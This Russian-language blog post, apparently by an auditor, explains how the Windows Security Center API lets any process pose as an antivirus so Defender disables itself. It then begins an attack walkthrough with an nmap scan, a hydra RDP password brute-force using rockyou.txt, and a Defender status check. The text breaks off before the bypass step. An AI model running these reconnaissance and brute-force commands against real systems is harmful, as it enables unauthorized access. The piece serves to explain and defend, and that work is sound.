В коротком посте я рассказал историю про аудит перед переездом производственной компании в облачную 1С — и про находку, которая заставила пересчитать бюджет проекта. Здесь — та же история, но с разбором механики: почему это работает, какими инструментами это проверяется и что именно нужно настроить, чтобы закрыть дыру, а не просто «поставить ещё один антивирус».
Что именно ломается технически
Речь не о баге конкретной сборки и не о дырявом драйвере, который завтра пофиксят патчем. Речь о штатном механизме Windows Security Center (WSC) — служебном API, через который сторонние антивирусы регистрируются в системе и сообщают: «я тут, включена защита в реальном времени, отключи встроенный Defender, чтобы два антивируса не конфликтовали друг с другом». Это логика, придуманная в 2000-х для совместимости с Kaspersky, ESET, Avast и десятками других вендоров — и с тех пор она почти не менялась.
Проблема в том, что WSC API исторически не проверяет, кто именно регистрируется как «антивирус». Любой процесс, способный создать нужный COM-объект или записать провайдера в пространство имён WMI root\SecurityCenter2, может представиться легитимным защитным ПО — и Windows поверит на слово. Defender после этого сам, штатно, отключает real-time protection, потому что считает, что систему защищает кто-то другой. Никакого взлома реестра, никакого патча служб, никакого обхода Tamper Protection — используется официальный, документированный по духу канал.
Как это эксплуатируется
Шаг 1. Первичный доступ и разведка на конечной точке
В реальной атаке до этого шага обычно доходят через фишинг, скомпрометированный RDP или уязвимый сервис на периметре. Проверка внешнего периметра компании чаще всего начинается банально:
nmap -sV -p3389,445,80,443 192.168.1.0/24
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows Server 2019 microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Services
Если RDP выставлен наружу без ограничений — дальше в ход идёт перебор:
hydra -L users.txt -P rockyou.txt rdp://192.168.1.50
[3389][rdp] host: 192.168.1.50 login: buh1 password: Qwerty2024
Получив доступ обычного пользователя (не администратора — это принципиально), атакующий проверяет состояние защиты:
Get-MpComputerStatus | Select AMServiceEnabled,RealTimeProtectionEnabled,AntispywareEnabled
AMServiceEnabled : True
RealTimeProtectionEnabled : True
AntispywareEnabled : True
